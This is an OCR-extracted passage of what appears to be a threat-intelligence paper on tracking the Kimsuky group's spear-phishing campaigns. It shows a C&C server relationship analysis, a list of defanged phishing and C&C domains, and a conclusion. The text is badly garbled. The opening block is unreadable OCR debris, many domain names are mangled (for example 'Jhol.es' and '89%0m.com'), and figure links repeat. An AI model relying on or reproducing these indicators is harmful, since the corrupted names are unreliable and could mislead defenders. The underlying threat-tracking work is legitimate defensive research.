BREE S0l MEME WA A AR MU EE T2l o HARHEE WAED jaL
o
=11

O] HUMEO|L) S WUO| Ch|2HN ORY R LEHIIR C1EIN

B DUMES PN
o g

B MRS BT BY HEf WS aLc)

B OIS we mEE 208U B pISE Sk SO SRS e ARMEo s NEe
2 sjels g

A oIS T8 SN MO oA Hojl HE(T RolM TAR

Copyright{<) 2018 KINY. A1 rights Bessrved

Figure 28: Mailer found on the C&C server.

Relationships analysis

In the process of tracking the Kimsuky group attack, we analysed the relationships of a large quantity of data, and

investigated C&C servers located in South Korea through an investigation agency. Figure 29 show the associations that were

found between the toolsets and C&C servers classified in our research.
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Script

O @B @B @ @

'™ Related CBC

Stealer
daum-setting[Jhol.es
member-authorize[.Jcom

snu-mail-ac-kr|Jesy.es

uefa2018[]000webhostapp.com

ddlovellkr  gymcl.lcom

mail-kinuhol[Jes  webmail-kinu[Jhol.es

<]

(<]

member-authorizelJeom  military[Jco.kr

<]

ddlovellkr  suppecrt-seourity[Jesy.es

<]

military[Jcokr

<]

nid-mail.]Jpe.hu

<]

primary-helplesy.es

nid-management-team[.J890m.com

<]

nid-protect-team[.Jpe.hu
user-daum-center].]pe.hu

nid-management-team[.]J830m.com
O user-daum-center].Jpe.hu
user-protect-center[.]pe.hu
naiei-aldiel[]16mb.com  vkoxvkweo[]96.1t

nid-protect-team[.Jpe.hu
O user-daum-center.Jpe.hu
user-protect-center[]pe.hu
daum-account-login[]esy.es
oeks39402[]89%0m.com  vkoxvkweo[.]96.0t

naiei-aldiell.] 16mb.com
oeks39402[]6%0m.com

member-daum-registl.Jhol.es
member-view-center[.]esy.es
nid-management-team[.]890m.com
nid-protect-team[Jpehu  sariwon[Jco.kr
user-manage-centerf.]Jhol.es
user-protect-centerl.Jpe.hu
accounting-microsofft].Jepizy.com
esdaum-help[]esy.es

daum-account-login] Jesy.es
daum-account-signin[.]Jpe.hu
daum-login-protect[Jhol.es
daum-setting[Jholes  daumioginf.Jesy.es
mail-customer-safety-centerf.]hol.es
mail-naver-protect[.Jhol.es

mail.naver[ Jcomuf.com
master-daum-helpl.Jesy.es
member-view-center].Jesy.es
naver-password] ]Jesy.es
naver-relogin-security[.]96.1t
naver-security-maill. 1961t

naverhelpl.Jesy.es  naverkorealJesy.es
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naverloginl.Jesy.es  nhfoodsl]coke
protect-yahhoo-team[.]000webhostapp.com
security-mail-daum(.]000webhostapp.com
user-daum-center].]pe.hu

web-daum[.Jpe.hu

Figure 29: Relationships between C&C servers and toolsets.

Some of the results of analysing the relationships between toolsets and C&C servers used by the Kimsuky group in spear-

phishing attacks are as follows.

e gyjmc|[.Jcom (KR) — member-authorize[.]Jcom (HOSTINGER) —
 ddlovke[.]kr (KR) — military[.]Jco.kr (KR) « suppcrt-seourity[.]esy.estHOSTINGER)

Figure 30 shows a graphical representation of the relationships.

Figure 30: Graphical representation of the Kimsuky relationships.

Through its reuse of resources, we were able to track the attack performed by the Kimsuky group.

Page 22 of 24


https://www.virusbulletin.com/files/6815/7893/0630/Figure29-Relationship_of_CC_Server_with_Toolset.jpg
https://www.virusbulletin.com/files/6815/7893/0630/Figure29-Relationship_of_CC_Server_with_Toolset.jpg
https://www.virusbulletin.com/files/6815/7893/0630/Figure29-Relationship_of_CC_Server_with_Toolset.jpg
https://www.virusbulletin.com/files/6815/7893/0630/Figure29-Relationship_of_CC_Server_with_Toolset.jpg
https://www.virusbulletin.com/files/2015/7893/0577/Figure30.jpg
https://www.virusbulletin.com/files/2015/7893/0577/Figure30.jpg

https://www.virusbulletin.com /virusbulletin/2020,/03 /vb2019-paper-kimsuky-group-tracking-king-spearphishing/

Conclusion

Due to the particular circumstances of South Korea, the Kimsuky group continuously conducts malicious acts by abusing (or
camouflaging) documents created in Hangul and phishing for email account credentials in order to hijack accounts. Similar

attacks have continued.

However, in the process of tracking the Kimsuky group, we have obtained various pieces of important information through

cases of OpSec failure on the part of the attackers.

The information obtained in this way can be used to infer to what extent the next attack will proceed, and, if such a new
spear-phishing attack occurs, the appropriate proactive response can be taken by analysing correlations with various

indicators found in previous attacks.

We will continue to strive to prevent the future spread of spear-phishing attacks by the Kimsuky group, and we hope that this

paper will help in responding to threats in many areas including domestic.
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